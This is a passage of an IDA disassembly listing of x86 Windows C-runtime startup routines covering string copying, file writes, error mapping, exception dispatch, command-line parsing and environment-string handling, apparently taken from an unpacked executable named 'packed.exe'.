[ebp+eax+var_214] loc_41CD98: ; CODE XREF: sub_41CC8C+127j mov ds:byte_4CA4E0[eax], dl jmp short loc_41CDBC ; --------------------------------------------------------------------------- loc_41CDA0: ; CODE XREF: sub_41CC8C+FCj test dl, 2 jz short loc_41CDB5 or ds:byte_4CA5E1[eax], 20h mov dl, [ebp+eax+var_314] jmp short loc_41CD98 ; --------------------------------------------------------------------------- loc_41CDB5: ; CODE XREF: sub_41CC8C+117j and ds:byte_4CA4E0[eax], 0 loc_41CDBC: ; CODE XREF: sub_41CC8C+112j inc eax inc ecx inc ecx cmp eax, esi jb short loc_41CD82 jmp short loc_41CE0E ; --------------------------------------------------------------------------- loc_41CDC5: ; CODE XREF: sub_41CC8C+1Dj xor eax, eax mov esi, 100h loc_41CDCC: ; CODE XREF: sub_41CC8C+180j cmp eax, 41h jb short loc_41CDEA cmp eax, 5Ah ja short loc_41CDEA or ds:byte_4CA5E1[eax], 10h mov cl, al add cl, 20h loc_41CDE2: ; CODE XREF: sub_41CC8C+174j mov ds:byte_4CA4E0[eax], cl jmp short loc_41CE09 ; --------------------------------------------------------------------------- loc_41CDEA: ; CODE XREF: sub_41CC8C+143j ; sub_41CC8C+148j cmp eax, 61h jb short loc_41CE02 cmp eax, 7Ah ja short loc_41CE02 or ds:byte_4CA5E1[eax], 20h mov cl, al sub cl, 20h jmp short loc_41CDE2 ; --------------------------------------------------------------------------- loc_41CE02: ; CODE XREF: sub_41CC8C+161j ; sub_41CC8C+166j and ds:byte_4CA4E0[eax], 0 loc_41CE09: ; CODE XREF: sub_41CC8C+15Cj inc eax cmp eax, esi jb short loc_41CDCC loc_41CE0E: ; CODE XREF: sub_41CC8C+137j pop esi leave retn sub_41CC8C endp ; =============== S U B R O U T I N E ======================================= sub_41CE11 proc near ; CODE XREF: sub_41D24F+9p ; sub_41D2A7+Dp ... cmp ds:dword_4CA714, 0 jnz short locret_41CE2C push 0FFFFFFFDh call sub_41CA4D pop ecx mov ds:dword_4CA714, 1 locret_41CE2C: ; CODE XREF: sub_41CE11+7j retn sub_41CE11 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CE2D proc near ; CODE XREF: sub_4173D8+2Bp ; sub_4173D8+A6p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp ds:dword_4CA4DC, 0 push edi mov edi, [ebp+arg_0] mov [ebp+arg_0], edi jnz short loc_41CE51 push [ebp+arg_8] push [ebp+arg_4] push edi call sub_416D30 add esp, 0Ch jmp short loc_41CEB4 ; --------------------------------------------------------------------------- loc_41CE51: ; CODE XREF: sub_41CE2D+11j mov edx, [ebp+arg_8] push esi test edx, edx jz short loc_41CE96 mov ecx, [ebp+arg_4] loc_41CE5C: ; CODE XREF: sub_41CE2D+5Bj mov al, [ecx] dec edx movzx esi, al test ds:byte_4CA5E1[esi], 4 mov [edi], al jz short loc_41CE80 inc edi inc ecx test edx, edx jz short loc_41CE8C mov al, [ecx] dec edx mov [edi], al inc edi inc ecx test al, al jz short loc_41CE92 jmp short loc_41CE86 ; --------------------------------------------------------------------------- loc_41CE80: ; CODE XREF: sub_41CE2D+3Ej inc edi inc ecx test al, al jz short loc_41CE96 loc_41CE86: ; CODE XREF: sub_41CE2D+51j test edx, edx jnz short loc_41CE5C jmp short loc_41CE96 ; --------------------------------------------------------------------------- loc_41CE8C: ; CODE XREF: sub_41CE2D+44j and byte ptr [edi-1], 0 jmp short loc_41CE96 ; --------------------------------------------------------------------------- loc_41CE92: ; CODE XREF: sub_41CE2D+4Fj and byte ptr [edi-2], 0 loc_41CE96: ; CODE XREF: sub_41CE2D+2Aj ; sub_41CE2D+57j ... mov eax, edx dec edx test eax, eax pop esi jz short loc_41CEB1 lea ecx, [edx+1] xor eax, eax mov edx, ecx shr ecx, 2 rep stosd mov ecx, edx and ecx, 3 rep stosb loc_41CEB1: ; CODE XREF: sub_41CE2D+6Fj mov eax, [ebp+arg_0] loc_41CEB4: ; CODE XREF: sub_41CE2D+22j pop edi pop ebp retn sub_41CE2D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41CEB7 proc near ; CODE XREF: sub_41780F+A2p ; sub_417E43+95p ... var_414 = byte ptr -414h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 414h mov ecx, [ebp+arg_0] push ebx cmp ecx, ds:dword_4CA4C0 push esi push edi jnb loc_41D04B mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea ebx, ds:4CA3C0h[eax*4] shl esi, 3 mov eax, [ebx] mov al, [eax+esi+4] test al, 1 jz loc_41D04B xor edi, edi cmp [ebp+arg_8], edi mov [ebp+var_8], edi mov [ebp+var_10], edi jnz short loc_41CF08 loc_41CF01: ; CODE XREF: sub_41CEB7+177j xor eax, eax jmp loc_41D05F ; --------------------------------------------------------------------------- loc_41CF08: ; CODE XREF: sub_41CEB7+48j test al, 20h jz short loc_41CF18 push 2 push edi push ecx call sub_41C637 add esp, 0Ch loc_41CF18: ; CODE XREF: sub_41CEB7+53j mov eax, [ebx] add eax, esi test byte ptr [eax+4], 80h jz loc_41CFE7 mov eax, [ebp+arg_4] cmp [ebp+arg_8], edi mov [ebp+var_4], eax mov [ebp+arg_0], edi jbe loc_41D01F loc_41CF38: ; CODE XREF: sub_41CEB7+F5j lea eax, [ebp+var_414] loc_41CF3E: ; CODE XREF: sub_41CEB7+B9j mov ecx, [ebp+var_4] sub ecx, [ebp+arg_4] cmp ecx, [ebp+arg_8] jnb short loc_41CF72 mov ecx, [ebp+var_4] inc [ebp+var_4] mov cl, [ecx] cmp cl, 0Ah jnz short loc_41CF5D inc [ebp+var_10] mov byte ptr [eax], 0Dh inc eax loc_41CF5D: ; CODE XREF: sub_41CEB7+9Dj mov [eax], cl inc eax mov ecx, eax lea edx, [ebp+var_414] sub ecx, edx cmp ecx, 400h jl short loc_41CF3E loc_41CF72: ; CODE XREF: sub_41CEB7+90j mov edi, eax lea eax, [ebp+var_414] sub edi, eax lea eax, [ebp+var_C] push 0 push eax lea eax, [ebp+var_414] push edi push eax mov eax, [ebx] push dword ptr [eax+esi] call ds:dword_4220B0 ; WriteFile test eax, eax jz short loc_41CFDC mov eax, [ebp+var_C] add [ebp+var_8], eax cmp eax, edi jl short loc_41CFAE mov eax, [ebp+var_4] sub eax, [ebp+arg_4] cmp eax, [ebp+arg_8] jb short loc_41CF38 loc_41CFAE: ; CODE XREF: sub_41CEB7+EAj ; sub_41CEB7+12Ej xor edi, edi loc_41CFB0: ; CODE XREF: sub_41CEB7+150j ; sub_41CEB7+15Bj mov eax, [ebp+var_8] cmp eax, edi jnz loc_41D046 cmp [ebp+arg_0], edi jz short loc_41D01F push 5 pop eax cmp [ebp+arg_0], eax jnz short loc_41D014 mov ds:dword_4C9084, 9 mov ds:dword_4C9088, eax jmp loc_41D05C ; --------------------------------------------------------------------------- loc_41CFDC: ; CODE XREF: sub_41CEB7+E0j call ds:dword_42206C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41CFAE ; --------------------------------------------------------------------------- loc_41CFE7: ; CODE XREF: sub_41CEB7+69j lea ecx, [ebp+var_C] push edi push ecx push [ebp+arg_8] push [ebp+arg_4] push dword ptr [eax] call ds:dword_4220B0 ; WriteFile test eax, eax jz short loc_41D009 mov eax, [ebp+var_C] mov [ebp+arg_0], edi mov [ebp+var_8], eax jmp short loc_41CFB0 ; --------------------------------------------------------------------------- loc_41D009: ; CODE XREF: sub_41CEB7+145j call ds:dword_42206C ; RtlGetLastWin32Error mov [ebp+arg_0], eax jmp short loc_41CFB0 ; --------------------------------------------------------------------------- loc_41D014: ; CODE XREF: sub_41CEB7+10Fj push [ebp+arg_0] call sub_41D064 pop ecx jmp short loc_41D05C ; --------------------------------------------------------------------------- loc_41D01F: ; CODE XREF: sub_41CEB7+7Bj ; sub_41CEB7+107j mov eax, [ebx] test byte ptr [eax+esi+4], 40h jz short loc_41D034 mov eax, [ebp+arg_4] cmp byte ptr [eax], 1Ah jz loc_41CF01 loc_41D034: ; CODE XREF: sub_41CEB7+16Fj mov ds:dword_4C9084, 1Ch mov ds:dword_4C9088, edi jmp short loc_41D05C ; --------------------------------------------------------------------------- loc_41D046: ; CODE XREF: sub_41CEB7+FEj sub eax, [ebp+var_10] jmp short loc_41D05F ; --------------------------------------------------------------------------- loc_41D04B: ; CODE XREF: sub_41CEB7+15j ; sub_41CEB7+37j and ds:dword_4C9088, 0 mov ds:dword_4C9084, 9 loc_41D05C: ; CODE XREF: sub_41CEB7+120j ; sub_41CEB7+166j ... or eax, 0FFFFFFFFh loc_41D05F: ; CODE XREF: sub_41CEB7+4Cj ; sub_41CEB7+192j pop edi pop esi pop ebx leave retn sub_41CEB7 endp ; =============== S U B R O U T I N E ======================================= sub_41D064 proc near ; CODE XREF: sub_417919+16p ; sub_417CDA+1Dp ... arg_0 = dword ptr 4 mov ecx, [esp+arg_0] xor edx, edx mov ds:dword_4C9088, ecx mov eax, offset dword_4317F0 loc_41D075: ; CODE XREF: sub_41D064+1Ej cmp ecx, [eax] jz short loc_41D099 add eax, 8 inc edx cmp eax, offset dword_431958 jl short loc_41D075 cmp ecx, 13h jb short loc_41D0A6 cmp ecx, 24h ja short loc_41D0A6 mov ds:dword_4C9084, 0Dh retn ; --------------------------------------------------------------------------- loc_41D099: ; CODE XREF: sub_41D064+13j mov eax, ds:dword_4317F4[edx*8] mov ds:dword_4C9084, eax retn ; --------------------------------------------------------------------------- loc_41D0A6: ; CODE XREF: sub_41D064+23j ; sub_41D064+28j cmp ecx, 0BCh jb short loc_41D0C0 cmp ecx, 0CAh mov ds:dword_4C9084, 8 jbe short locret_41D0CA loc_41D0C0: ; CODE XREF: sub_41D064+48j mov ds:dword_4C9084, 16h locret_41D0CA: ; CODE XREF: sub_41D064+5Aj retn sub_41D064 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D0CB proc near ; CODE XREF: _0:00417DE7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ebx push [ebp+arg_0] call sub_41D20C test eax, eax pop ecx jz loc_41D200 mov ebx, [eax+8] test ebx, ebx jz loc_41D200 cmp ebx, 5 jnz short loc_41D0FC and dword ptr [eax+8], 0 push 1 pop eax jmp loc_41D209 ; --------------------------------------------------------------------------- loc_41D0FC: ; CODE XREF: sub_41D0CB+23j cmp ebx, 1 jz loc_41D1FB mov ecx, ds:dword_4C9138 mov [ebp+arg_0], ecx mov ecx, [ebp+arg_4] mov ds:dword_4C9138, ecx mov ecx, [eax+4] cmp ecx, 8 jnz loc_41D1EB mov ecx, ds:dword_4319D0 mov edx, ds:dword_4319D4 add edx, ecx push esi cmp ecx, edx jge short loc_41D14B lea esi, [ecx+ecx*2] sub edx, ecx lea esi, ds:431960h[esi*4] loc_41D142: ; CODE XREF: sub_41D0CB+7Ej and dword ptr [esi], 0 add esi, 0Ch dec edx jnz short loc_41D142 loc_41D14B: ; CODE XREF: sub_41D0CB+69j mov eax, [eax] mov esi, ds:dword_4319DC cmp eax, 0C000008Eh jnz short loc_41D166 mov ds:dword_4319DC, 83h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D166: ; CODE XREF: sub_41D0CB+8Dj cmp eax, 0C0000090h jnz short loc_41D179 mov ds:dword_4319DC, 81h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D179: ; CODE XREF: sub_41D0CB+A0j cmp eax, 0C0000091h jnz short loc_41D18C mov ds:dword_4319DC, 84h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D18C: ; CODE XREF: sub_41D0CB+B3j cmp eax, 0C0000093h jnz short loc_41D19F mov ds:dword_4319DC, 85h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D19F: ; CODE XREF: sub_41D0CB+C6j cmp eax, 0C000008Dh jnz short loc_41D1B2 mov ds:dword_4319DC, 82h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D1B2: ; CODE XREF: sub_41D0CB+D9j cmp eax, 0C000008Fh jnz short loc_41D1C5 mov ds:dword_4319DC, 86h jmp short loc_41D1D6 ; --------------------------------------------------------------------------- loc_41D1C5: ; CODE XREF: sub_41D0CB+ECj cmp eax, 0C0000092h jnz short loc_41D1D6 mov ds:dword_4319DC, 8Ah loc_41D1D6: ; CODE XREF: sub_41D0CB+99j ; sub_41D0CB+ACj ... push ds:dword_4319DC push 8 call ebx pop ecx mov ds:dword_4319DC, esi pop ecx pop esi jmp short loc_41D1F3 ; --------------------------------------------------------------------------- loc_41D1EB: ; CODE XREF: sub_41D0CB+52j and dword ptr [eax+8], 0 push ecx call ebx pop ecx loc_41D1F3: ; CODE XREF: sub_41D0CB+11Ej mov eax, [ebp+arg_0] mov ds:dword_4C9138, eax loc_41D1FB: ; CODE XREF: sub_41D0CB+34j or eax, 0FFFFFFFFh jmp short loc_41D209 ; --------------------------------------------------------------------------- loc_41D200: ; CODE XREF: sub_41D0CB+Fj ; sub_41D0CB+1Aj push [ebp+arg_4] call ds:dword_4221C0 ; UnhandledExceptionFilter loc_41D209: ; CODE XREF: sub_41D0CB+2Cj ; sub_41D0CB+133j pop ebx pop ebp retn sub_41D0CB endp ; =============== S U B R O U T I N E ======================================= sub_41D20C proc near ; CODE XREF: sub_41D0CB+7p arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov ecx, ds:dword_4319D8 cmp ds:dword_431958, edx push esi mov eax, offset dword_431958 jz short loc_41D239 lea esi, [ecx+ecx*2] lea esi, ds:431958h[esi*4] loc_41D22E: ; CODE XREF: sub_41D20C+2Bj add eax, 0Ch cmp eax, esi jnb short loc_41D239 cmp [eax], edx jnz short loc_41D22E loc_41D239: ; CODE XREF: sub_41D20C+16j ; sub_41D20C+27j lea ecx, [ecx+ecx*2] pop esi lea ecx, ds:431958h[ecx*4] cmp eax, ecx jnb short loc_41D24C cmp [eax], edx jz short locret_41D24E loc_41D24C: ; CODE XREF: sub_41D20C+3Aj xor eax, eax locret_41D24E: ; CODE XREF: sub_41D20C+3Ej retn sub_41D20C endp ; =============== S U B R O U T I N E ======================================= sub_41D24F proc near ; CODE XREF: _0:00417DA9p cmp ds:dword_4CA714, 0 jnz short loc_41D25D call sub_41CE11 loc_41D25D: ; CODE XREF: sub_41D24F+7j push esi mov esi, ds:dword_4CA70C mov al, [esi] cmp al, 22h jnz short loc_41D28F loc_41D26A: ; CODE XREF: sub_41D24F+33j ; sub_41D24F+36j mov al, [esi+1] inc esi cmp al, 22h jz short loc_41D287 test al, al jz short loc_41D287 movzx eax, al push eax call sub_41F13C test eax, eax pop ecx jz short loc_41D26A inc esi jmp short loc_41D26A ; --------------------------------------------------------------------------- loc_41D287: ; CODE XREF: sub_41D24F+21j ; sub_41D24F+25j cmp byte ptr [esi], 22h jnz short loc_41D299 loc_41D28C: ; CODE XREF: sub_41D24F+52j inc esi jmp short loc_41D299 ; --------------------------------------------------------------------------- loc_41D28F: ; CODE XREF: sub_41D24F+19j cmp al, 20h jbe short loc_41D299 loc_41D293: ; CODE XREF: sub_41D24F+48j inc esi cmp byte ptr [esi], 20h ja short loc_41D293 loc_41D299: ; CODE XREF: sub_41D24F+3Bj ; sub_41D24F+3Ej ... mov al, [esi] test al, al jz short loc_41D2A3 cmp al, 20h jbe short loc_41D28C loc_41D2A3: ; CODE XREF: sub_41D24F+4Ej mov eax, esi pop esi retn sub_41D24F endp ; =============== S U B R O U T I N E ======================================= sub_41D2A7 proc near ; CODE XREF: _0:00417D92p push ebx xor ebx, ebx cmp ds:dword_4CA714, ebx push esi push edi jnz short loc_41D2B9 call sub_41CE11 loc_41D2B9: ; CODE XREF: sub_41D2A7+Bj mov esi, ds:dword_4C90D0 xor edi, edi loc_41D2C1: ; CODE XREF: sub_41D2A7+30j mov al, [esi] cmp al, bl jz short loc_41D2D9 cmp al, 3Dh jz short loc_41D2CC inc edi loc_41D2CC: ; CODE XREF: sub_41D2A7+22j push esi call sub_415C80 pop ecx lea esi, [esi+eax+1] jmp short loc_41D2C1 ; --------------------------------------------------------------------------- loc_41D2D9: ; CODE XREF: sub_41D2A7+1Ej lea eax, ds:4[edi*4] push eax call sub_415D2F mov esi, eax pop ecx cmp esi, ebx mov ds:dword_4C90AC, esi jnz short loc_41D2FB push 9 call sub_417DFA pop ecx loc_41D2FB: ; CODE XREF: sub_41D2A7+4Aj mov edi, ds:dword_4C90D0 cmp [edi], bl jz short loc_41D33E push ebp loc_41D306: ; CODE XREF: sub_41D2A7+94j push edi call sub_415C80 mov ebp, eax pop ecx inc ebp cmp byte ptr [edi], 3Dh jz short loc_41D337 push ebp call sub_415D2F cmp eax, ebx pop ecx mov [esi], eax jnz short loc_41D32A push 9 call sub_417DFA pop ecx loc_41D32A: ; CODE XREF: sub_41D2A7+79j push edi push dword ptr [esi] call sub_415B90 pop ecx add esi, 4 pop ecx loc_41D337: ; CODE XREF: sub_41D2A7+6Cj add edi, ebp cmp [edi], bl jnz short loc_41D306 pop ebp loc_41D33E: ; CODE XREF: sub_41D2A7+5Cj push ds:dword_4C90D0 call sub_415DE1 pop ecx mov ds:dword_4C90D0, ebx mov [esi], ebx pop edi pop esi mov ds:dword_4CA710, 1 pop ebx retn sub_41D2A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D360 proc near ; CODE XREF: _0:00417D8Dp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx xor ebx, ebx cmp ds:dword_4CA714, ebx push esi push edi jnz short loc_41D377 call sub_41CE11 loc_41D377: ; CODE XREF: sub_41D360+10j mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 104h push esi push ebx call ds:off_422060 mov eax, ds:dword_4CA70C mov ds:off_4C90BC, esi mov edi, esi cmp [eax], bl jz short loc_41D39C mov edi, eax loc_41D39C: ; CODE XREF: sub_41D360+38j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax push ebx push ebx push edi call sub_41D3F9 mov eax, [ebp+var_8] mov ecx, [ebp+var_4] lea eax, [eax+ecx*4] push eax call sub_415D2F mov esi, eax add esp, 18h cmp esi, ebx jnz short loc_41D3CC push 8 call sub_417DFA pop ecx loc_41D3CC: ; CODE XREF: sub_41D360+62j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax mov eax, [ebp+var_4] lea eax, [esi+eax*4] push eax push esi push edi call sub_41D3F9 mov eax, [ebp+var_4] add esp, 14h dec eax mov ds:dword_4C90A4, esi pop edi pop esi mov ds:dword_4C90A0, eax pop ebx leave retn sub_41D360 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D3F9 proc near ; CODE XREF: sub_41D360+47p ; sub_41D360+7Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov ecx, [ebp+arg_10] mov eax, [ebp+arg_C] push ebx push esi and dword ptr [ecx], 0 mov esi, [ebp+arg_8] push edi mov edi, [ebp+arg_4] mov dword ptr [eax], 1 mov eax, [ebp+arg_0] test edi, edi jz short loc_41D423 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D423: ; CODE XREF: sub_41D3F9+20j cmp byte ptr [eax], 22h jnz short loc_41D46C loc_41D428: ; CODE XREF: sub_41D3F9+58j ; sub_41D3F9+5Fj mov dl, [eax+1] inc eax cmp dl, 22h jz short loc_41D45A test dl, dl jz short loc_41D45A movzx edx, dl test ds:byte_4CA5E1[edx], 4 jz short loc_41D44D inc dword ptr [ecx] test esi, esi jz short loc_41D44D mov dl, [eax] mov [esi], dl inc esi inc eax loc_41D44D: ; CODE XREF: sub_41D3F9+46j ; sub_41D3F9+4Cj inc dword ptr [ecx] test esi, esi jz short loc_41D428 mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D428 ; --------------------------------------------------------------------------- loc_41D45A: ; CODE XREF: sub_41D3F9+36j ; sub_41D3F9+3Aj inc dword ptr [ecx] test esi, esi jz short loc_41D464 and byte ptr [esi], 0 inc esi loc_41D464: ; CODE XREF: sub_41D3F9+65j cmp byte ptr [eax], 22h jnz short loc_41D4AF inc eax jmp short loc_41D4AF ; --------------------------------------------------------------------------- loc_41D46C: ; CODE XREF: sub_41D3F9+2Dj ; sub_41D3F9+A5j inc dword ptr [ecx] test esi, esi jz short loc_41D477 mov dl, [eax] mov [esi], dl inc esi loc_41D477: ; CODE XREF: sub_41D3F9+77j mov dl, [eax] inc eax movzx ebx, dl test ds:byte_4CA5E1[ebx], 4 jz short loc_41D492 inc dword ptr [ecx] test esi, esi jz short loc_41D491 mov bl, [eax] mov [esi], bl inc esi loc_41D491: ; CODE XREF: sub_41D3F9+91j inc eax loc_41D492: ; CODE XREF: sub_41D3F9+8Bj cmp dl, 20h jz short loc_41D4A0 test dl, dl jz short loc_41D4A4 cmp dl, 9 jnz short loc_41D46C loc_41D4A0: ; CODE XREF: sub_41D3F9+9Cj test dl, dl jnz short loc_41D4A7 loc_41D4A4: ; CODE XREF: sub_41D3F9+A0j dec eax jmp short loc_41D4AF ; --------------------------------------------------------------------------- loc_41D4A7: ; CODE XREF: sub_41D3F9+A9j test esi, esi jz short loc_41D4AF and byte ptr [esi-1], 0 loc_41D4AF: ; CODE XREF: sub_41D3F9+6Ej ; sub_41D3F9+71j ... and [ebp+arg_10], 0 loc_41D4B3: ; CODE XREF: sub_41D3F9+19Ej cmp byte ptr [eax], 0 jz loc_41D59C loc_41D4BC: ; CODE XREF: sub_41D3F9+D0j mov dl, [eax] cmp dl, 20h jz short loc_41D4C8 cmp dl, 9 jnz short loc_41D4CB loc_41D4C8: ; CODE XREF: sub_41D3F9+C8j inc eax jmp short loc_41D4BC ; --------------------------------------------------------------------------- loc_41D4CB: ; CODE XREF: sub_41D3F9+CDj cmp byte ptr [eax], 0 jz loc_41D59C test edi, edi jz short loc_41D4E0 mov [edi], esi add edi, 4 mov [ebp+arg_4], edi loc_41D4E0: ; CODE XREF: sub_41D3F9+DDj mov edx, [ebp+arg_C] inc dword ptr [edx] loc_41D4E5: ; CODE XREF: sub_41D3F9+18Fj mov [ebp+arg_0], 1 xor ebx, ebx loc_41D4EE: ; CODE XREF: sub_41D3F9+FCj cmp byte ptr [eax], 5Ch jnz short loc_41D4F7 inc eax inc ebx jmp short loc_41D4EE ; --------------------------------------------------------------------------- loc_41D4F7: ; CODE XREF: sub_41D3F9+F8j cmp byte ptr [eax], 22h jnz short loc_41D528 test bl, 1 jnz short loc_41D526 xor edi, edi cmp [ebp+arg_10], edi jz short loc_41D515 cmp byte ptr [eax+1], 22h lea edx, [eax+1] jnz short loc_41D515 mov eax, edx jmp short loc_41D518 ; --------------------------------------------------------------------------- loc_41D515: ; CODE XREF: sub_41D3F9+10Dj ; sub_41D3F9+116j mov [ebp+arg_0], edi loc_41D518: ; CODE XREF: sub_41D3F9+11Aj mov edi, [ebp+arg_4] xor edx, edx cmp [ebp+arg_10], edx setz dl mov [ebp+arg_10], edx loc_41D526: ; CODE XREF: sub_41D3F9+106j shr ebx, 1 loc_41D528: ; CODE XREF: sub_41D3F9+101j mov edx, ebx dec ebx test edx, edx jz short loc_41D53D inc ebx loc_41D530: ; CODE XREF: sub_41D3F9+142j test esi, esi jz short loc_41D538 mov byte ptr [esi], 5Ch inc esi loc_41D538: ; CODE XREF: sub_41D3F9+139j inc dword ptr [ecx] dec ebx jnz short loc_41D530 loc_41D53D: ; CODE XREF: sub_41D3F9+134j mov dl, [eax] test dl, dl jz short loc_41D58D cmp [ebp+arg_10], 0 jnz short loc_41D553 cmp dl, 20h jz short loc_41D58D cmp dl, 9 jz short loc_41D58D loc_41D553: ; CODE XREF: sub_41D3F9+14Ej cmp [ebp+arg_0], 0 jz short loc_41D587 test esi, esi jz short loc_41D576 movzx ebx, dl test ds:byte_4CA5E1[ebx], 4 jz short loc_41D56F mov [esi], dl inc esi inc eax inc dword ptr [ecx] loc_41D56F: ; CODE XREF: sub_41D3F9+16Ej mov dl, [eax] mov [esi], dl inc esi jmp short loc_41D585 ; --------------------------------------------------------------------------- loc_41D576: ; CODE XREF: sub_41D3F9+162j movzx edx, dl test ds:byte_4CA5E1[edx], 4 jz short loc_41D585 inc eax inc dword ptr [ecx] loc_41D585: ; CODE XREF: sub_41D3F9+17Bj ; sub_41D3F9+187j inc dword ptr [ecx] loc_41D587: ; CODE XREF: sub_41D3F9+15Ej inc eax jmp loc_41D4E5 ; --------------------------------------------------------------------------- loc_41D58D: ; CODE XREF: sub_41D3F9+148j ; sub_41D3F9+153j ... test esi, esi jz short loc_41D595 and byte ptr [esi], 0 inc esi loc_41D595: ; CODE XREF: sub_41D3F9+196j inc dword ptr [ecx] jmp loc_41D4B3 ; --------------------------------------------------------------------------- loc_41D59C: ; CODE XREF: sub_41D3F9+BDj ; sub_41D3F9+D5j test edi, edi jz short loc_41D5A3 and dword ptr [edi], 0 loc_41D5A3: ; CODE XREF: sub_41D3F9+1A5j mov eax, [ebp+arg_C] pop edi pop esi pop ebx inc dword ptr [eax] pop ebp retn sub_41D3F9 endp ; =============== S U B R O U T I N E ======================================= sub_41D5AD proc near ; CODE XREF: _0:00417D83p var_8 = dword ptr -8 var_4 = dword ptr -4 push ecx push ecx mov eax, ds:dword_4C9240 push ebx push ebp mov ebp, ds:dword_42203C push esi push edi xor ebx, ebx xor esi, esi xor edi, edi cmp eax, ebx jnz short loc_41D5FB call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz short loc_41D5DC mov ds:dword_4C9240, 1 jmp short loc_41D604 ; --------------------------------------------------------------------------- loc_41D5DC: ; CODE XREF: sub_41D5AD+21j call ds:dword_422040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz loc_41D6D6 mov ds:dword_4C9240, 2 jmp loc_41D68A ; --------------------------------------------------------------------------- loc_41D5FB: ; CODE XREF: sub_41D5AD+19j cmp eax, 1 jnz loc_41D685 loc_41D604: ; CODE XREF: sub_41D5AD+2Dj cmp esi, ebx jnz short loc_41D614 call ebp ; GetEnvironmentStringsW mov esi, eax cmp esi, ebx jz loc_41D6D6 loc_41D614: ; CODE XREF: sub_41D5AD+59j cmp [esi], bx mov eax, esi jz short loc_41D629 loc_41D61B: ; CODE XREF: sub_41D5AD+73j ; sub_41D5AD+7Aj inc eax inc eax cmp [eax], bx jnz short loc_41D61B inc eax inc eax cmp [eax], bx jnz short loc_41D61B loc_41D629: ; CODE XREF: sub_41D5AD+6Cj sub eax, esi mov edi, ds:dword_422130 sar eax, 1 push ebx push ebx inc eax push ebx push ebx push eax push esi push ebx push ebx mov [esp+38h+var_4], eax call edi ; WideCharToMultiByte mov ebp, eax cmp ebp, ebx jz short loc_41D67A push ebp call sub_415D2F cmp eax, ebx pop ecx mov [esp+18h+var_8], eax jz short loc_41D67A push ebx push ebx push ebp push eax push [esp+28h+var_4] push esi push ebx push ebx call edi ; WideCharToMultiByte test eax, eax jnz short loc_41D676 push [esp+18h+var_8] call sub_415DE1 pop ecx mov [esp+18h+var_8], ebx loc_41D676: ; CODE XREF: sub_41D5AD+B9j mov ebx, [esp+18h+var_8] loc_41D67A: ; CODE XREF: sub_41D5AD+99j ; sub_41D5AD+A8j push esi call ds:dword_4221C8 ; FreeEnvironmentStringsW mov eax, ebx jmp short loc_41D6D8 ; --------------------------------------------------------------------------- loc_41D685: ; CODE XREF: sub_41D5AD+51j cmp eax, 2 jnz short loc_41D6D6 loc_41D68A: ; CODE XREF: sub_41D5AD+49j cmp edi, ebx jnz short loc_41D69A call ds:dword_422040 ; GetEnvironmentStrings mov edi, eax cmp edi, ebx jz short loc_41D6D6 loc_41D69A: ; CODE XREF: sub_41D5AD+DFj cmp [edi], bl mov eax, edi jz short loc_41D6AA loc_41D6A0: ; CODE XREF: sub_41D5AD+F6j ; sub_41D5AD+FBj inc eax cmp [eax], bl jnz short loc_41D6A0 inc eax cmp [eax], bl jnz short loc_41D6A0 loc_41D6AA: ; CODE XREF: sub_41D5AD+F1j sub eax, edi inc eax mov ebp, eax push ebp call sub_415D2F mov esi, eax pop ecx cmp esi, ebx jnz short loc_41D6C0 xor esi, esi jmp short loc_41D6CB ; --------------------------------------------------------------------------- loc_41D6C0: ; CODE XREF: sub_41D5AD+10Dj push ebp push edi push esi call sub_415560 add esp, 0Ch loc_41D6CB: ; CODE XREF: sub_41D5AD+111j push edi call ds:dword_4221C4 ; FreeEnvironmentStringsA mov eax, esi jmp short loc_41D6D8 ; --------------------------------------------------------------------------- loc_41D6D6: ; CODE XREF: sub_41D5AD+39j ; sub_41D5AD+61j ... xor eax, eax loc_41D6D8: ; CODE XREF: sub_41D5AD+D6j ; sub_41D5AD+127j pop edi pop esi pop ebp pop ebx pop ecx pop ecx retn sub_41D5AD endp ; =============== S U B R O U T I N E ======================================= sub_41D6DF proc near ; CODE XREF: _0:00417D73p var_44 = byte ptr -44h var_14 = dword ptr -14h var_10 = dword ptr -10h sub esp, 44h push ebx push ebp push esi push edi push 100h call sub_415D2F mov esi, eax pop ecx test esi, esi jnz short loc_41D6FF push 1Bh call sub_417DFA pop ecx loc_41D6FF: ; CODE XREF: sub_41D6DF+16j mov ds:dword_4CA3C0, esi mov ds:dword_4CA4C0, 20h lea eax, [esi+100h] loc_41D715: ; CODE XREF: sub_41D6DF+52j cmp esi, eax jnb short loc_41D733 and byte ptr [esi+4], 0 or dword ptr [esi], 0FFFFFFFFh mov 